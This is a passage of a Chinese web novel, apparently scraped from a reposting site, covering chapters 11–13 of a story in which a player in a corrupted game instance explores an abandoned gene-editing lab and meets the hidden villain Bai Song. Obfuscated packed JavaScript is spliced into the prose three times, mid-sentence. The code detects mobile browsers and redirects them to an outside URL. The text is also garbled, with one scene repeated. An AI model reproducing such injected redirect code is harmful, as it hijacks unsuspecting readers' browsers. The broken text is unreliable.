这种老实人突然开始试图撩人但是手法又很过时的尴尬感。 “……你让这场谈话一下从权谋对决变成了烂俗小说。” 闵朝言面无表情地点评。 “只许你用眼睛脱我衣服,不许我想亲你吗?” 鹤棠的表情再次回到一脸正直。 ‘他瞬间让这个副本的基调变得很诡异。’ 闵朝言对系统说。 ‘杀了吧。’ 「他确实有点毛病——不不不对!那也不能马上就杀吧?你到底有没有一点保持一致的杀人标准啊?!」 系统大惊。 闵朝言默默听着系统语无伦次,半响,点头, ‘好吧,我有一点理解他了。’ ‘你的反应确实很有趣。’ “我说过,我会竭尽全力帮助你的,” 鹤棠没有让这个诡异的气氛继续维持下去,很快回归了正题, “你的时间很宝贵,用杀人立威太慢了。” 所以,他选择了另一个方法, 用他自己以及“和平鸽”多年下来积累的威势作为闵朝言的垫脚石。 今日之后, 和平鸽不再是地下城的保护者,而是“暴君的走狗”。 鹤棠想到这一点,居然没有觉得心中有任何遗憾之情,反而满是期待。 “你是我一直在等待的人。” “我一直希望,有一个人能结束这一切,任何形式的结束,都可以。” 他说。 闵朝言看着他的脸,半响,抬手摸了摸他的脸颊,只说: “我杀了予烬,可比起他的尸体,你更像是一个死人。” 鹤棠没有说话, 他是一个极其英俊的男人,高大挺拔,周正温润, 笑容柔和,眼神死寂。 他不再说话, 安静地为闵朝言擦去溢出的脓血,动作轻柔地更换纱布。 闵朝言似乎还想再说些什么,却只看见眼前的伤口不断扩大,逐渐蚕食了自己整条左臂,甚至扭曲了眼前的空间,直直冲她而来! 她试图召唤出“溺亡者”,然而鞭影尚未浮现,她便眼前一黑,失去了意识。 -希望联盟- 折日站在已经被打扫干净的实验室里,看着那个属于予烬的玻璃展柜, 此刻,展柜中空无一物。 “我听说了。” 身后,一个粗粝的嗓音传来。 折日转过身,看着眼前的女人。 她身着灰色长袍,兜帽遮住上半张脸,只露出一道狰狞伤疤。 那伤疤层层叠叠,组织纠结在一起,居然看不清楚来历,是刀伤火烧,亦或是强酸腐蚀? 不重要了,总归都是伤疤。 “这世界上,居然真的没有东西能杀死他。” 折日感叹。 予烬复活了。 就在折日将闵朝言送走后不久,实验室被人闯入,其他的东西都没有失窃,唯独这个玻璃展柜里的东西被尽数偷走,看守的人也被打昏在原地。 看守醒来之后说,自己在昏过去之前见到的最后一个人,就是死而复生的予烬。 “他变得好奇怪,好像根本不认识我,但是当随尚想要杀我灭口的时候……他阻止了。” 说到这里,守卫的声音又变得愤恨起来: “那个贱人随尚!竟然敢背叛我们,一定要杀了他!” 随尚会背叛,折日其实并不意外。 这个人没有太多才能,却有太多贪心。 她之前没有过分防备随尚,也正是因为这一点,一个蠢人即使想做恶,所能造成的伤害也极其有限。 但她忘了一点:随尚也许是个蠢货,被暗中他这枚棋子的,却未必是。 “轻视他人,果然是要付出代价的。” 折日自嘲道。 “有生之年能听到你说这种话,我真是死而无憾了。” 疤痕女人笑了一声,扯出一个丑陋却欢快的笑容。 “这话说得好不讲理,我又不是什么犯了错打死不认的人。” 折日也笑了一声,回嘴道。 “你也不是什么犯了错主动会认的人。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272342|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 疤痕女人白她一眼。 二人交谈熟稔亲近,显然相识已久,甚至算得上多年老友。 “我原本以为他趋炎附势,会去依附吴城。 你也知道,吴城就是个空有肌肉的草包,一开始就被架空了,‘和平鸽’把那些平民送他玩玩,他就真以为自己是城主了。” 折日嗤笑一声,又说, “我们一直以为,吴城是捡了那个人‘暴毙’而亡的便宜,如今看来……可未必啊。” 疤痕女人没说话,眼神冷冷地看着办公桌上予烬的照片,冷哼了一声: “他们长得,可真像啊,一样的让我恶心。” 折日表情一顿,拉住女人的手,神情认真,仿佛在宣告一个誓言: “我不会让你的血白流的,如果他还活着——我一定会杀了他!” 疤痕女人抬头,看着折日的眼睛,忽然抽出手,又猛地抱住她,一字一句,咬牙道: “我的血流多少都无所谓,只要他的血,也一样流干。” -城主居所- 闵朝言睁开眼睛,加粗的红色倒计时扎得她眼睛生疼: [37:19:09] 看到这个数字,闵朝言下意识睁大了眼睛,甚至怀疑是不是自己看错了。 37。 她居然昏迷了十四个小时! “……你醒了。” 鹤棠说。 他似乎一直坐在床边,神情中带着一丝疲惫和忧虑。 这种异常的昏睡,显然是因为堕灵病毒对闵朝言身体的侵蚀。 而且, 这个速度还在加快。 “我要快点找到那个东西。” 闵朝言闭上眼,缓缓说。 “什么东西?” 鹤棠问。 “神会选择栖身的东西。” 闵朝言回答。 …… 鹤棠沉默了。 “他们两个洗干净了,你要见见吗?” 他又问。 他说的,是狼孩,和那个在笼子里,管闵朝言叫“主人”的少年。 时间倒回到十几个小时之前。 笼中少年用尽全力拉住闵朝言的衣角,声音喑哑干涩: “主人……” “如果你长得和那边那位一样,这句主人才能有点用。” 闵朝言看了一眼鹤棠,又看了一眼笼中少年,面无表情地说。 她觉得自己挺幽默。 “您选择了我们,主人。” 少年说话的音调流畅了一些,他在学习人类的发音。 而且,学得很快。 “你们?” 闵朝言挑眉。 托两张高度相似的角色面板的福,她一下子就明白了那个“们”指的是谁。 “您给他起名字了吗?” 少年问,急切中又有点委屈, “您会给我起名字吗?” “他不会说话。” 闵朝言想起只能呜咽着抱住自己的狼孩,问, “为什么你会?” “人类训犬,当然要各有各的长处,不能养都一样的狗呀。” 少年似乎笑了一声,又剧烈地咳嗽起来。 显然,他的身体很虚弱。 “这么说的话,你应该是边牧。” 闵朝言在笼子前蹲下,仔细观察着他。 “那……边牧给主人一点见面礼,主人可以给我起名字吗?” 少年凑上前来,笑眯眯看着闵朝言。 “吴城只是一个傀儡,上任城主,其实根本就没有死。” “他抢走了这地下城里,唯一的宝物。” 11. 暴君与地下城(11) 之前的城主。 闵朝言这个角色,准确来说,她知道这个角色本该在这个副本里的设定和位置。 原剧情中,他是原定男主予烬的“父亲”,是整个故事中最大也最终的反派。 他研制出了畸变病毒,让人类面临末日的灭顶之灾; 又建立了地下城,让幸存的人们至少有了一个可以苟延残喘的地方。 一个如此疯狂,又如此矛盾的人,本该是一个复杂立体,可恶却又难掩魅力的角色。 然而,堕灵病毒侵蚀了这个副本,也侵蚀掉了原本被他研发出来的“畸变病毒”, 这个角色瞬间从“暗中布局操控世界毁灭的疯子天才”,成为了,“莫名其妙搞了一堆事却最后什么成果也没出来的小丑”。 甚至, 在闵朝言进入这个副本之前,他就已经被吴城——这个一看上去就是个无脑路人NPC的角色,给杀了。 那个时候,闵朝言和系统都以为,这是因为副本被侵蚀,剧情不断崩坏所导致的。 这个猜测当然是合理的, 但合理的,就一定是真相吗? 现实往往与之相反。 堕灵病毒取代了畸变病毒,所以在鹤棠的视角里,病毒的蔓延从“人祸”变成了“天灾”。 那么,真正创造了那个病毒的原城主会不知道这件事情吗? 不可能,他一定知道。 但他会就此放弃吗? 不可能。 「难道,原城主是假死?」 系统惊讶。 ‘避开锋芒,韬光养晦。至于可能被‘天灾’祸害的危机,就让蠢货吴城来挡。’ 闵朝言说。 ‘这才是顶级反派会做出的选择。’ 「哇,好厉害!」 系统非常给面子地鼓掌。 “你怎么知道城主没有死?” 闵朝言问笼子里的少年。 少年却只是扬起一个笑脸,不肯说话。 这是一只喜欢和主人撒娇谈条件的小狗。 他在要自己的奖励。 “边……” 她开口,却看见少年脸上露出可怜兮兮的表情。 “边牧是品种,不是名字。” 他有点委屈。 闵朝言觉得他有点毛病。 自称小狗这种情趣她当然是没少见过,但是真心实意把自己当狗还上赶着让主人给起名字的,即使在闵朝言的见闻中,也属于变态的。 “那你叫少晏。” 闵朝言说。 少晏,少言, 她希望这只边牧能少说两句。 “少晏,我喜欢。” 他显然知道这个名字的意思,但依然像是得到了什么珍贵的宝物一样,声音都变得甜蜜。 “我想想,从哪里开始说……从我们的来历开始,好不好?我和他一样,都是在实验室里诞生的,他们想培养出绝对忠诚的,又足够强大的工具。” 少晏缓缓说着,依靠在笼子上,虚弱得可怕。 闵朝言有点担心他会说到一半昏死过去。 末日之后,有很多孩子被遗弃,少晏和狼孩都是其中的倒霉蛋,他们被城主的实验室“收留”了。 从婴儿到青少年,用基因编辑的方式,那些孩子被塑造成忠诚且绝对服从的‘犬’,。 “刚刚被改造的那段时间里,我想死,但又觉得该死的人不是我。所以,我决定要活下去,要选择自己的主人,要看着那个人死去” 少晏看着闵朝言,脸颊靠在笼子边上,眼神中带着喜悦之情, “您很不一样呢,您知道吗?” “在您的眼睛里……我可不带着任何羞耻,也不带着任何怨恨地属于你。” 他果然晕了。 是知道自己撑不到能给出有效信息的那一刻,怕她直接把连人(狗?)带笼扔到垃圾堆里,所以才故意在昏过去之前对百般讨好投诚吗? 他的判断很准确,闵朝言是真能干出来这事。 继任仪式将近,闵朝言只好让鹤棠派人照顾他,顺便把另一只狼孩也拎过来,看看他们俩放在一起是不是会有点什么化学反应。 她当然知道他们不会合体变身,毕竟这个副本也不是这个世界观。 但如果会的话,她还有点想看。 时间回到现在。 ‘我觉得我变了。’ 闵朝言说。 「你变什么了?」 系统不解。 ‘我以前不会在心里想这些废话。’ 闵朝言回答。 她从前不会思考这些,她有目标就去做,有讨厌的人就杀,不算没有脑子,但一直也懒得用脑子。 她以前——以前—— 是什么样子的来着? 这漫无边际的思考在少晏和狼孩被带进来之后打断,闵朝言看着两只已经被洗干净的小狗。 狼孩看上去又胖了一点,他现在终于像个人模样了, 而且是个很好看的人模样。 头发被洗干净之后梳好,金色的发丝蓬起来,显得很精致乖巧, 脸颊上有一些肉之后,才发现他其实是一双圆润的杏眼,一双金色竖瞳此刻放松下来,里面满映着闵朝言的模样。 少晏长得也很不错, 精气神更是比被锁在笼子里时要好上许多。 他虽然瘦,但远没有到狼孩之前那副形销骨立的程度,看上去只是弱不禁风了一点,反而为他增添些许精致秀气的感觉,狭长的桃花眼中带着笑意,五官轻巧玲珑,苍白纤弱,颇有种雌雄莫辨的美。 “主人。” 少晏说。 狼孩依然不会说话,喉咙里发出咕噜咕噜的音节,走过来蹲下,用自己的毛茸茸的脑袋去蹭闵朝言的手,一双圆眼睛眨巴眨巴,很期待的模样。 闵朝言顺手摸了他一把,果然看到他满足地眯起眼睛。 “你醒了。” 闵朝言点头,摸着手心里毛茸茸的脑袋,问。 “嗯,感觉好多了,好像又能再活一天的样子。” 少年笑眯眯地点头。 不管是少晏还是狼孩,好像都在和她接触之后,状态肉眼可见得好了许多。 但闵朝言又不是什么人参果成精,哪来的这种能力? 闵朝言疑惑地皱眉,还没等发问,答案就已经有人送到她嘴边。 “那些人真的很有意思。他们想让我们当忠诚的狗,又怕我们不够忠诚,所以在基因编辑里,加入了一些东西。 如果我们没有得到‘主人’的关注,身体里的器官就会自行衰竭,直到死亡。” 少晏说着,走到闵朝言床脚坐下,看着她。 “但这很讽刺不是吗?他们其实根本就不相信自己的成果,因为只有人才会不断地背叛。” 他说。 的确,狗永远不会背叛自己认定的主人。 那些研究员们因为担心试验品而设下的种种限制,反而更证明了,他们其实将少晏当做了“人”来看待。 “我对人类的道德困境没有兴趣。” 闵朝言说, “告诉我你还知道什么。” “我知道,他们的首领,是那位真正的城主,他同时进行着很多个项目,但这些项目的核心都是一致的,他想要找出人类的‘未来’,也就是进化的可能性。” 他为进化设置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272343|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了很多种可能,少晏所在的项目组是其中一个方向——阶级化。不是指那些经济阶级,而是生物上的阶级。 就如同蚁群一般,以蚁后为核心建立家园,用于劳作的工蚁,用以繁衍的雄蚁,等等等等,不一而足。 “我想,他应该不仅仅打算停在只制造我们‘工具阶层’,但有一天,他突然停下了。” 少晏说。 那是三年前的事情了, 少晏当时已经决定顺从自己的命运,只是依然执着于找一个他认可的主人——毕竟,那是他生命中唯一且仅有的自由了。 为此,他一直不肯顺从于当时负责他的研究员,没少吃苦头。 少晏一开始被认为是个失败品。 没有强大的力量,没有敏捷的速度。 那位研究员很担心自己会因为实验品的羸弱而被斥责,尤其是在少晏隔壁就住着整个项目组最强大成果的前提下。 那个最成功的实验品,力量极强,速度敏捷都远超人类,进化出了极强的自愈力,甚至还对畸变病毒有一定抗性! 除了不会说话和喜欢像狼一样撕咬东西,没有任何缺点。 害怕被当作无用之人被处理掉的研究员,开始格外卖力地工作。 抽血割肉都是最基本的,研究员还在不断地辛劳工作中,发现了少晏真正的长处: 他很聪明。 这些孩子早就已经被剥夺了语言表达自我的权利,但研究员听到过少晏模仿自己的说话,他模仿得非常好——连语气、停顿,甚至呼吸的气口都一模一样。 研究员检测过少晏的脑部波动, 并且与此同时,将一部分有关于计算的研究内容让他阅读。 大脑波动显示,尽管没有进行过任何与此相关的学习,也没有任何人从旁指导,但在第三遍阅读重复内容时,少晏已经理解了这份极其复杂的、涉及人体基因模组改造的计算公式。 他,非常聪明。 所以当实验室陷入诡异的停摆时,少晏也马上就观察到了这一点。 不是研究遇见了阻碍,也不是实验室出现了经费或者运力不足,而是在最高层安排着一切的手,忽然停止了动作。 那位城主陷入了迷茫,还是困境? 在“别人家的实验品”的帮助下,少晏撕开了那位负责自己的研究员,用对方的眼球打开了数据库。 踩着尸体得来的收获简直让人惊喜。 他用那个研究员的权限看到,实验室里所有关于少晏和狼孩的数据,都被篡改成了一些平庸实验品的记录。 不仅仅是少晏所在的这个项目组,在整个实验室系统中,有四个修改的痕迹,和一个完全的数据空缺。 那个空缺是什么? 少晏试图黑进系统里更高的权限,但他没有时间了。 第二天,城主被吴城杀死的消息传来。吴城抢走了属于原城主的所有东西,当然也包括那些实验室。 但他没有脑子也没有意愿继续研究,那些仪器和数据对他来说都是废物。 自然,实验室也被遗弃了。 只有少晏“意外”暴露了自己知道原城主死亡真相,被吴城关起来囚禁。 “我留在吴城身边,就是在等机会,再次接触到系统,搞清楚那个人到底带走了什么。” “我想,那些修改痕迹,是城主留下来,但不希望人发现的东西。他逃得很匆忙,连我们这样的宝贵实验体都没来得及带走。” “那么,他宁可留下破绽也要带走的,肯定是这座城市里,最珍贵的东西。” 少晏狡黠地眨眨眼。 “比如说……太阳的钥匙。” 他看向闵朝言,眸中暗金色亮起。 12. 暴君与地下城(12) 在闵朝言的要求下, 少晏带着她来到了他们之前所在的项目实验室,跟着一起的还有狼孩这个小尾巴。 这是一个隐藏在更深处地下的实验室,暗无天日,此刻已经没有任何光源仍在工作,在前往实验室的地下通道中,闵朝言几人带上头灯才能勉强看到里面的样子。 据少晏所说,实验室并不大,也算不上非常受重视,因此藏在整个试验所的角落里。 闵朝言谨慎地一步步向前走去,身边忽然贴上来一只手臂。 她转过头,看着狼孩安静地冲自己眨了眨眼,又伸出他的手臂。 他虽然不会说话,但神情却很灵动简单,闵朝言看出来,他想让自己牵着他走。 这个不会说话的孩子其实很细心,他站在了闵朝言左边,保护着她因为左臂无法灵活使用而产生的薄弱方位。 “好。” 闵朝言没有犹豫,僵硬的手指牵住狼孩的手。 狼孩马上回握她,动作迅速却很小心。 他的掌心有很深的伤疤,摸上去有点粗糙,但又很热。 闵朝言不自觉多看了他一会儿, 他似乎长大了一些,身量不再是十几岁的模样。初次见面的时候,闵朝言还可以平视他,此时却要微微扬起头了。 他的骨骼棱角开始显现,下颌线变得清晰而锋利,可配上那双圆润杏眼时,攻击性瞬间消失,只剩下满满期待和喜爱。 此刻,或许是因为交握着的双手,杏眼中带上一点窃喜的羞涩,莹白如玉的耳尖也悄然发红。 闵朝言自诩是爱美的, 她天然地对资容美丽的人多一些耐心,否则在刚刚进入副本时也不会和予烬扯那么久废话。 “我们到了。” 走了大约有十五分钟之后,少晏说。 他对这个实验室很熟悉,接着头灯并不明亮的光也能轻车熟路地找到备用电源,很快,实验室里亮起来。 正如少晏所说,这里早就已经被废弃了,就连少晏自己也只在半年前回来过一次——那是他试图破解实验系统的时候。 “如果你那个时候就已经知道了前任城主带走了什么,为什么还要留在吴城身边受他折磨?” 闵朝言当时问他。 少晏却不回答,只是笑着想要趴在闵朝言膝上,又在被她轻轻踹开之后止不住地笑起来。 实验室被废弃之前似乎经历过一场暴动。 里面的电脑被砸坏了,碎片散落在地上,厚厚的打印出来的数据资料被撕碎了,上面还有不知道多少个脚印覆盖,显然是慌乱间被抢走的。 实验室不大,是一个规整的四方形结构。 墙壁四周用一个个用玻璃和钢筋焊成了大约有四五十个笼子,那些笼子很小,也就是勉强够一个成年人蜷缩着躺下的面积。 少晏,狼孩,这些“实验体”们,显然住的就是这样的笼子。 闵朝言似乎有点明白为什么少晏可以在吴城身边继续待下去,因为他早已习惯这种不得不蜷缩的生活,对他而言,那已经算不上什么痛苦了。 实验室的摆放大约是一个“回”字型结构,中间的台子上放着各种试剂和研究用具,有的上面还带着陈年的血渍,深深渗进金属层里,仿佛某种诅咒的图腾。 狼孩有极强的自愈能力,少晏没有自愈能力。 研究员们是怎么发现这一点的呢? 这不难推测。 “这是你组织的吗?” 闵朝言走上前,看着有数个笼子的玻璃被打碎,钢筋也已经变形,凑上前,鼻尖轻嗅,果然有血腥味。 “我想给一直一起长大的同伴们,一点礼物嘛。” 少晏笑着说,没有否认。 “尸体呢?” 闵朝言问。 对于少晏有能力和意愿发动一场实验体暴动这件事,闵朝言毫不怀疑。 但这件实验室里,也没有什么可以用来处理尸体的药剂和设备,就算放任尸体腐烂,应该也至少会有骨架留下来吧? “大家运动完,饿了呀。” 他回答。 …… 闵朝言点点头,没有继续追问,她并不恐惧人吃人,但是追问细节显得啰嗦而变态。 “调出你找到的系统破绽,我想看。” 她很快回归正题。 这是她来到这个实验室的最主要原因——尽管有着少晏的转述,但闵朝言依然希望看待最直接的证据。 不对,严格来说,其实也不是她看。 「成功登入!我现在就开始核查所有数据!」 系统的声音充满斗志。 少晏的讲述也许是真的,也许进行了有利于他自己的加工,但这些对于闵朝言来说并不重要。 只要能接触到研究所的系统,至少在程序上面,她有一个绝对忠实,且足够强大的同伴, 由整个《物·源》游戏最高权限持有者所创造的系统。 ‘首先核查少晏说的是不是真的,然后着重去寻找太阳钥匙的线索。’ 闵朝言对系统说。 「好咧!」 系统痛快答应。 首先验证少晏,是为了确认对方有几分可信。 作为项目实验体,即便人身自由被限制,也是实打实的在这里生活过多年,再加上他的智力,对研究所必然有着很深的了解。 这样的一个人,可以成为闵朝言的助力,也可能成为她前进路上极大的阻力。 她需要尽快了解清楚,才能感觉自己该如何对待他。 笑纳,还是处理? 闵朝言看了一眼少晏,眼神中没有什么情绪。 少晏也看到闵朝言的冷淡眼神,却毫不介意一般对她眨眨眼,只说: “早知道您要看我的话,我就用左脸对着这边了,我左脸比较好看一点。” 闵朝言没说话,将视线重新放到屏幕上。 「我黑进了系统,给自己设定了一个临时的最高权限。从这里的内容来看,少晏说的都是真的。」 「他们的来历,还有基因改造的方向都对得上,他和狼孩的数据也的确有篡改痕迹,但是并不高明,很容易识破。」 系统说。 「我现在继续找关于钥匙的内容,我共享给你了,你快看。」 闵朝言在脑海中看着系统传输过来的资料。 正如畸变病毒一样,人造太阳也是前城主的杰作。 作为地下城的必需品,在一开始的设想中,这个太阳的本质其实只是一个巨大功率和瓦数的灯。 关于人造太阳的研究重点,也是致力于如何在这样巨大的亮度下,让光照显得不那么刺眼,尽可能地模拟太阳光。 是的,这个研发出畸变病毒让人类走入末日不得不躲进地下城的疯狂科学家的另一个研究项目,是让人造太阳光不那么刺眼。 这种诡异的温馨实在过于扭曲,就连闵朝言都觉得有点后背发凉。 就像是杀人狂魔用带着血锈和碎肉的斧头在温馨的家庭聚会上砍烤鸡一样的别扭和恐怖。 「天呐,你看到了吗?」 系统的惊诧打断了闵朝言的联想, 「他只是一个副本角色,怎么可能会?!」 杀人狂魔的温馨晚餐只是偶尔,他们真正的事业是砍下一个个头颅; 前城主会考虑到民众护眼关怀的温情也是偶尔,他真正的重心依然在畸变病毒上。 然而,他慢慢发现,自己引以为豪的畸变病毒,居然开始衰弱。 在研究日志中,他尝试了成千上万种的重新组合排列,但结果只有失败。 失败,失败!失败!!! 无尽的失败重叠在一起,仿佛神在嘲讽妄想撼动世界的蝼蚁。 但他不会放弃, 他永远,不会放弃。 「他好像……知道了世界的……真相。」 在震惊中,系统的声音断断续续。 世界的真相? 是指这个世界只是一个副本的真相吗? 闵朝言试图去理解系统传输过来的新文档,但将意识探入进去之后,却只看到0和1字符在疯狂地刷新滚动。 ‘系统?’ 闵朝言问。 闵朝言其实看不懂那些程序和字符,无论她如何试图学习,都无法理解其中的一丝一毫,就好像她的这部分能力被一键删除了一样。 在之前,系统都会将数据文件转化为闵朝言可以理解的文字内容。 但它现在是怎么了? 什么能让它这么着急,连基本的格式转换都忘记了? 系统没有给予反馈,闵朝言试图从自己手中的电脑屏幕寻找答案。 她在少晏给她打开的面板上划了两道,看见了一个写着陌生编号的文件夹被放在了最显然的位置。 这是什么? 看上去,是特意放在这里,等着她点开的。 闵朝言打开文档,在看到其中内容时,指尖猛地顿住。 因为里面不是少晏的资料,也不是狼孩的资料,而是——她自己的。 她也是—— 不对,闵朝言是玩家,她是顶替了NPC的身份才能正式介入影响副本的。所以这个文档,是她在副本中顶替的这个角色。 那个角色,原本也是实验体吗? 可为什么之前她看到的原剧情梗概里,没有这一段描述。 闵朝言感到左手指尖轻微地发麻,她分不清这是因为情绪的波动还是自己受病毒侵蚀的程度又在加深。 “实验变体——受体异常——” 闵朝言皱起眉,默念这上面被标红的大字,忽然,她的眼神停在一个地方,久久没有移动。 不对, 时间不对, 这上面标准的“受体异常”时间, 就是闵朝言进入这个副本的时间! 「你小心!我刚才被冻结住了!有人在这个系统里留了陷阱!」 系统惊慌的声音传来。 「对方发现我了!他们就是冲着我们来的!」 与此同时,实验室的大门自动合上,落锁的声音清晰而沉重。 这是个陷阱。 闵朝言眼神锐利,快步冲上前,右手随意从笼子边上扯下来一根钢筋,试图抵住门锁,却眼见着钢筋被顶了回来,弯成了一个滑稽的形状。 钢筋不行,那别的东西呢? 闵朝言皱眉,稳住呼吸,“溺亡者”的鞭影在右手心里浮现,然而,就在她握住鞭身的一瞬间,掌心处传来一阵剧痛! “——!!!” 仿佛整条手臂的骨骼被瞬间碾碎又浸在了烈酒里,闵朝言痛呼出声,鞭影也瞬间消散。 她脸色发白,额间渗出虚汗,甚至站立不稳,向地上跌去。 一双手臂扶住了她,是狼孩。 “主人!” 少晏大惊失色,匆忙跑过来,却被狼孩用手直接掐住了脖子,从地上提起来。 狼孩比少晏要高,力气也大得多,少晏双脚离地,奋力挣扎着想将对方的手拉开,却根本无法撼动一丝,脸色涨红,近乎窒息。 “不是他。” 闵朝言靠在狼孩身上,声音虚弱,闭上眼睛,抬手按住狼孩掐住少晏胳膊的那只手臂, “放他下来。” ——咚! 脖子上的手松开,少晏整个人摔到地上,他顾不上自己身上传来的痛意,捂着胸口大口大口地呼吸着,胸膛剧烈地上下起伏,试图用氧气填满干瘪的肺部。 “呼…呼……呼。” 少晏捂住自己的胸口,唇色发紫,勉力支撑着,抬头看向闵朝言,露出一个惨然的笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272344|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你相信我?” “如果是你做的,为什么把也留在我身边?你很惜命,不会给我这么轻易杀死你的机会。” 闵朝言说。 况且,提出前往实验室是闵朝言在二十分钟之前作出的决定, 并且这二十分钟里,她们全程都在一起,如果少晏能够这么快的布置出一个连系统都困住的陷阱,她也认栽。 “我还以为,主人是被我的忠诚打动了呢。” 少晏又笑了一声,肺部扯着疼痛,他却毫不在意一样。 “……有一部分吧。” 闵朝言没有否认这一点。 也许少晏所做的一切中,有表演的成分, 那闵朝言也只能说,他演得实在是太好了,她作为观众,心服口服。 “真好。” 少晏低声说着,撑着坐起来,看着闵朝言, “被人相信原来是这种感觉啊。” 「咱们接下来该怎么办?」 系统问闵朝言。 ‘等。’ 闵朝言说。 「等什么?」 系统不解。 ‘等他来找我啊。’ 闵朝言回答。 对方既然设下了这个局,目的就不可能只是把闵朝言关起来。 他一定想从闵朝言身上得到一些什么。 ‘对了,你刚才说,他知道了什么真相了?’ 闵朝言问系统。 「他在自己的研究日志里写了:这个世界之外,还有世界。」 系统回答。 真相, 副本的真相。 一个NPC,一个侵入副本的病毒,一段开始崩坏的剧情, 就能将副本的壁垒击碎吗? ‘NPC有了自我意识,我还以为这是小说里的情节。’ 闵朝言慢悠悠地回答。 「哎……我有预感,咱们的第一次任务,真的要光荣失败了。」 系统挠头, 「我现在真的一头雾水,不知道该怎么做才对了。」 闵朝言沉默了。 她其实内心也有同感。 到底该怎么做才能扭正这个副本? 净化主角?可是主角杀了一个就会有下一个。 改变剧情?可是剧情早就已经彻底转不回来了。 接下来还能尝试的只有…… 杀反派了。 一个熟悉的东西映入眼帘。 「姓名:柏颂」 「身份:“畸变末日”副本—幕后boss」 「年龄:未知」 「状态:濒死」 「战力:1/100」 「污染进度:——!@#?不可检测——!@」 战斗力是一个复杂的波动数据,它不仅仅指的是一个人的战斗能力,而是身体素质、体力、间,健康值等等数据的混合在一起之后而得出的分析结果。 而“1”的数值,不是代表这个人的战斗能力弱, 而是意味着, 他几乎,已经死了。 “你好,神的使者。” 坐在轮椅上的男人看向闵朝言。 他看上去比想象中年轻,几乎不可能是予烬的“父亲”辈人物。 大概只有三十岁的视觉年龄,只是发丝已经尽数雪白,连睫毛都仿佛承接着盛雪。 “我可以这样称呼你吗?” 他微笑着问。 该怎么形容那个笑容? 安静,谦和,极度的虚弱之下,又仿佛有什么比生命力依然旺盛的东西在生长,渴望着破土而出。 他和予烬长得很像,只是眼角眉梢间没有那样非人般的精致,却也因此显得更加亲和,像是个亲善的邻家大哥哥。 这样一个人, 是研究出疯狂病毒打算毁灭世界,将人类逼入末日的唯一凶手? 「我靠,他原来长这样,这就是幕后boss的颜值水平吗。」 系统忍不住说了一句。 它越来越像人了。 闵朝言推开保护在自己身前的狼孩,拍拍对方的肩膀安抚,独身走向了坐在轮椅上的男人。 “你快死了。” 闵朝言说。 这实在是一句很突兀的开场白,但此刻她居然也只能说出来这句话,因为她心中不断回响着的只有一句话: 这样的人,死了,真的很可惜。 “啊,我知道。” 柏颂点头,很温和地回答,丝毫没有因为这句话而产生不快, “就像古人说的,窥探天机的人,本来就该是不长命的。” 闵朝言没对这句话做出评价。 “你从我身上,得到什么?” 闵朝言问他。 “结局,我想要结局。” 柏颂回答。 “这个故事已经持续了太久,我们也已经痛苦了太久了,我想要结局。” 他看着闵朝言,眼神坚定。 故事的结局? 如果按照原本被设定好的剧情线去走,那么故事的结局,是圣父予烬成功感化所有人,随后拯救地下城,让人类走出末日。 就像系统在一开始说的那样,这原本只是一个简单的末日童话寓言故事,没什么深度也没什么逻辑。 但地下城需要的,真的是这样一个结局吗? “结局。” 闵朝言重复了一遍这句话。 这不是她第一次听见这个词, 鹤棠也这样说过,自己想要的是结局,任何结局都可以。 “任何结局都可以吗?” 她听见自己的问。 “任何结局都可以,” 听见这句话,柏颂笑了,他看着闵朝言,又重复了一遍: “只要那是真正的结局。” 13. 地下城的暴君(13) 他是谁? 闵朝言看着被关在狭小笼子中的男孩,不由得缓缓皱起眉。 和狼孩几乎完全一致的信息页面, 这也是个未完成角色吗? 这个副本到底还有多少漏洞? 都已经崩坏成这样了真的还有必要救吗? 闵朝言很少骂人,但她现在真的有点不爽。 “……、我。” 忽然,一个极其微弱的声音浮起,与其相反的,却是一只飞快抓住笼子边缘的手,瘦骨嶙峋,却带着极其执拗的力道。 闵朝言没打算理会他,却在听见少年的下一句话时顿住了脚步。 “看看我……主人。” 他说。 “我知道、钥匙的事。” 蜷缩在笼中的男孩用尽全力拉住闵朝言的衣角,声音喑哑干涩: “主人……” 他全身的皮肤都极白,几乎没有任何血色,手指瘦得骨节都突出来,像极了挣扎着的白骨骷髅。 “如果你长得和那边那位一样,这句主人才能有点用。” 闵朝言看了一眼鹤棠,又看了一眼笼中向自己求救的男孩,面无表情地说。 “呵……我会努力的。” 男孩笑了一声,声音虚弱到几乎下一秒就会飘散。 “是您选择了我们呀,主人。” 他说话的音调流畅了一些,他在学习人类的发音。 而且,学得很快。 “你们?” 闵朝言挑眉。 托这两张高度相似的角色面板的福,她一下子就明白了那个“们”指的是谁。 “您给他起名字了吗?” 